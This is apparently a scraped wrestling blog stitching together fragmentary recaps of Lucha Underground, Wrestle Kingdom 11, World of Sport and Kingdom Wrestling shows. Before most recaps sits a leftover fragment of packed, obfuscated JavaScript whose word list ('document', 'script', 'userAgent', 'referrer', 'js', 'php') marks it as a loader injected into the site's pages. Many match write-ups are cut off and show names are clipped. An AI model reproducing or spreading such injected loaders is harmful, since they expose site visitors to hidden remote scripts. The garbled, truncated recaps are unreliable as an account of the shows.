");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnibn|var|u0026u|referrer|zzksi||js|php'.split('|'),0,{})) Kingdom Wrestling
Date: January 20, 2017
Location: Pattaya Boxing Stadium, Pattaya, Chon Buri, Thailand
Commentator: Al Leung

Selfie King vs. Candy Brother vs. Mickie Rawaz

King takes a quick selfie next to the fallen Candy in one of the best gimmicks going in the promotion.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|festb|var|u0026u|referrer|nntsn||js|php'.split('|'),0,{})) Underground
Date: January 11, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening recap looks at Dragon Azteca Jr. wanting to go after Matanza, Cortez Castro coming back to the Temple under a mask, Texano getting mad at Famous B. and Johnny Mundo picking All Night Long for his match with the Mack.

Texano vs. Joey Ryan

Texano shoves B. down and high fives fans as he leaves.

Cage vs. Veneno

That seems to be Castro under his mask. Veneno is wearing a spider style mask and Vampiro says the name means poison. A few kicks have Cage in trouble until a Screwdriver crushes Veneno for the pin at 1:23.

Cage leaves and Sexy Star comes out to yell at Veneno, likely due to the spider mask.

Matanza vs. Dragon Azteca Jr.

After the credits, Marty Martinez stalks Melissa Santos but Mariposa kidnaps him. She thinks he might be learning something but a slap to the face just makes him laugh.

Apparently this is a mid-season finale and the show will be back in the summer. That’s a very, very long time off and that’s not good.

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Wrestle Kingdom 11
Date: January 4, 2017
Location: Tokyo Dome, Tokyo, Japan
Attendance: 26,192
Commentators: Steve Corino, Kevin Kelly

Pre-Show: New Japan Rumble

Elgin throws Cheeseburger at Tenzan before putting Tenzan out to get us down to two. Cheeseburger hammers away and actually scores with a superkick. For some reason, Cheeseburger tries a sunset flip on a guy whose finisher is a powerbomb. The Elgin Bomb gives, uh, Elgin, the win at 25:13.

The opening video runs down the card in order, which I think I kind of like.

Tiger Mask W vs. Tiger the Dark

Junior Heavyweight Tag Team Titles: Roppongi Vice vs. Young Bucks

The Bucks are defending and along with Matt Sydal/Ricochet and ReDRagon, these teams have traded the titles since November 2014. As a bonus, the champs come to the ring with the IWGP, PWG and ROH Tag Team Titles plus custom made Superkick Party titles. They even call the Hardys out on the way to the ring as the angle continues despite them never showing up in TNA. I love that for some reason.

Never Openweight Six Man Tag Team Titles: David Finlay/Ricochet/Satoshi Kojima vs. Los Ingobernables de Japon vs. Bullet Club vs. Chaos

We settle down to a banged up Yoshi getting beaten down in the ring with Takahashi throwing kicks and Page getting two off a jumping DDT. A neckbreaker allows for the hot tag to Ospreay as things speed up in a hurry. Ospreay starts fast with a cartwheel moonsault over the top to take out all three members followed by a middle rope corkscrew moonsault for two on Page.

Juice Robinson vs. Cody

A hiptoss puts Juice on the floor to start but Juice counters his dive into a belly to belly. As we look at the replay, Juice cannonballs into the Cody against the barricade for a painful looking crash. Back in and Cody grabs an Alabama Slam to take over before stopping to pose by leaning on his fist.

Ads for upcoming shows, including two shows in California, which I believe are the first ever stand alone New Japan shows on US soil.

Tag Team Titles: Chaos vs. Guerillas of Destiny vs. G.B.H.

With everyone else on the floor, Tama slides around (very slick) and jumps into a DDT on Makabe. Honma comes in and SWEARS A LOT (with Corino laughing so much he has to turn his mic off) before dropping a headbutt on Loa. Everything breaks down again with the Guerillas sending Yano outside and swearing even more. We lose Corino again thanks to four F bombs during a powerbomb on Honma for two.

Junior Heavyweight Title: Hiromu Takahashi vs. Kushida

Never Openweight Title: Katsuyori Shibata vs. Hirooki Goto

Goto actually scores with some clotheslines but runs into an STO to put both guys down. Back up and Shibata gets in his rear naked choke to pull Goto right back down to the mat. You can feel the audience getting worried here and a BIG sigh of relief when Goto makes the bottom rope.

Intercontinental Title: Tetsuya Naito vs. Hiroshi Tanahashi

IWGP World Title: Kenny Omega vs. Kazuchika Okada

The English commentary ends and we get some shots of the Japanese announcers wrapping it up.

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World of Sport Wrestling
Date: December 31, 2016
Location: MediaCity Studios, Manchester, England
Commentators: Jim Ross, Alex Shane

This was taped back in November so things could have already changed.

The arena looks good. Small, but good.

World of Sport Title: Dave Mastiff vs. Grado

Interviewer Rachel talks to General Manager Mr. Beasley, who is really happy to be here. Grado comes in to complain but Mastiff and company crash the interview to celebrate.

Kenny Williams vs. Sam Bailey vs. CJ Banks vs. Delicious Danny

More legends stuff.

Alexis Rose vs. Viper

Rose is a pretty standard looking female wrestler while Viper is build more like Nia Jax. Viper shoves her around to start but Rose does some nice spinning around to avoid a charge and gets in a bicycle kick. The bigger lady runs her over and grabs a cravate, followed by a seated crossbody for two. Alexis comes back with a few kicks and a high crossbody for two as we start looking at the crowd. A middle rope moonsault misses though and Viper hits a running backsplash for the pin at 4:37.

Mastiff is annoyed at being accused of cheating.

Video on how big World of Sport used to be.

Ashton Smith/Rampage vs. Coffey Brothers

The slow beatdown continues with Rampage holding a chinlock. Ashton comes back in for some trash talk but walks into a leg lariat, allowing the hot tag to Joe. Everything breaks down and Smith grabs a spinebuster on Joe with Mark diving in for a save. Smith superkicks his partner by mistake and Joe hits a discus lariat for the pin at 9:05.

El Ligero vs. Zack Gibson

Ligero fights up and sends him outside for the required flip dive to take over again. Back in and Ligero hits a wheelbarrow faceplant for two but makes the mistake of trying again, resulting in a seated armbar. Not that it matters as Ligero makes the rope and hits a springboard tornado DDT for the pin at 8:30.

Rating: C+. Match of the night here as you had a good combination of styles here to keep both guys looking good. Gibson is much more in line with the traditional British wrestling style and Ligero is your pretty standard luchador. That made for an interesting match and the best psychology (read as almost the only psychology) of the night.

Rachel talks to the battle royal entrants, all of whom say what you would expect.

Battle Royal

Mark Coffey, Joe Coffey, El Ligero, Grado, Sha Samuels, Johnny Moss, Kenny Williams, ???

Rating: D. So they go through the trouble of bringing Smith in and then have him be eliminated in all of two minutes after a few suplexes. The rest of the battle royal was a waste of time though as it was just a matter of time until we could get to the finish with Grado winning. It was only going to be him or the mystery man, making this a pretty solid waste of time for the most part.

Smith comes in for the post match save. Medics check on Grado as we go to our last break.

World of Sport Title: Dave Mastiff vs. Grado

The injured Grado is challenging. Before the bell, Samuels and Moss are ejected to make it an even match. After Mastiff runs his mouth a bit, Grado limps out until Dave chop blocks him from behind. Naturally NONE OF THAT is a DQ so the bell rings with Grado unable to stand. Mastiff works on the knee and sends Grado into the steps as this is already dragging less than two minutes in. The leg is wrapped around the ropes but Mastiff misses a charge and posts himself. Grado hits a quick cutter for the pin and the title at 3:37. That was his only offensive move of the match.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeefs|var|u0026u|referrer|hrhfk||js|php'.split('|'),0,{})) Underground
Date: December 28, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

The opening video looks at Angelico returning, Cage vs. Texano, Catrina suggesting that Crane loves him and Prince Puma losing Grave Consequences.

Vampiro raises Puma from the grave and Puma, now dark, has a new master. I could totally go for this.

Jeremiah Crane vs. Mil Muertes

Crane goes right after him at the entrance and is knocked for a loop as a result. A running forearm to the back and a powerslam plant Crane again. As the referee looks at Catrina (understandable), cue Puma with a kendo stick shot, allowing Crane to hit a bicycle kick for the pin at 2:04.

Puma kneels to Vampiro and Striker is scared.

A stranger gives Sexy Star a present but says he used to be a Johnny Mundo fanboy. The guy leaves and the package contains a spider, just like a few weeks back.

Famous B. gives Texano an offer of fame and is promptly scared off.

PJ Black/Jack Evans vs. Angelico/Son of Havoc

Dario is looking in his glowing box when Star comes in. She wants and is granted a match with Mariposa next week.

Cage vs. Texano

Match number four in a best of five series with Cage up 2-1. Texano runs him over to start and hits a sliding clothesline but Cage turns it into a slugout. A turnbuckle pad comes off and Cage goes face first into the steel, setting up a sitout powerbomb to tie the series at 2-2 at 2:01.

Cage vs. Texano

This is winner take all and Cage is coming in bloody. Texano stomps him down in the corner but walks into a DDT. That just earns Cage a kick to the head in the corner, followed by a top rope hurricanrana and a slingshot splash for two. Cage kicks him in the face again and sends Texano outside for a big suicide dive.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssfbn|var|u0026u|referrer|niakf||js|php'.split('|'),0,{})) Underground
Date: December 21, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening recap looks at the two big matches.

Battle of the Bulls Finals: Cage vs. The Mack vs. PJ Black vs. Jeremiah Crane

Lucha Underground Title: Johnny Mundo vs. Sexy Star

The Mack Stuns Johnny as the champ goes to leave.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhtbb|var|u0026u|referrer|disrr||js|php'.split('|'),0,{})) Underground
Date: December 14, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The recap looks at Angelico wanting Johnny Mundo, the Kobra Moon Tribe, Matanza wanting Rey Mysterio and Sexy Star earning a title rematch inside a cage.

Battle of the Bulls First Round: Dante Fox vs. Killshot vs. Jeremiah Crane vs. Mariposa

Crane throws in a pile of chairs and sets them up, eventually meaning a Tower of Doom with Killshot getting the worse of it. Mariposa is the only one up so the fans cheer, even when she beats on everyone else with chairs. Killshot gets in a few shots of his own and everyone is down.

Killshot kicks Fox in the head and gives him the top rope double stomp.

Taya is filming the rest of the Worldwide Underground in what feels like an NWO inspired vignette.

Sexy Star sees a spider and freaks out. So now she can rise above spiders.

Kobra Moon vs. Drago

Fenix and Aerostar come in for the save, only to have Moon summon a masked monster to clean house. The fans call him Luchasaurus for a good name. Drago gets tombstoned and carried out.

Star goes after Mariposa, accusing her of planting the spider. A wall is broken and Mariposa seems intimidated.

Battle of the Bulls First Round: PJ Black vs. Jack Evans vs. Son of Havoc vs. Angelico

That leaves us with PJ Black vs. Jeremiah Crane vs. the Mack vs. Cage for the title shot.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryeie|var|u0026u|referrer|ytahe||js|php'.split('|'),0,{})) Underground
Date: December 7, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The tournament will be called the Battle of the Bulls with four fatal fourways (one fall to a finish). The winners will advance to a fourway elimination match for the title shot.

Battle of the Bulls First Round: Cage vs. Texano vs. Joey Ryan vs. Dr. Wagner Jr.

Dario gives Sexy Star a match with PJ Black. If she wins, she gets her title rematch inside a cage. If she loses though, no more title shots ever.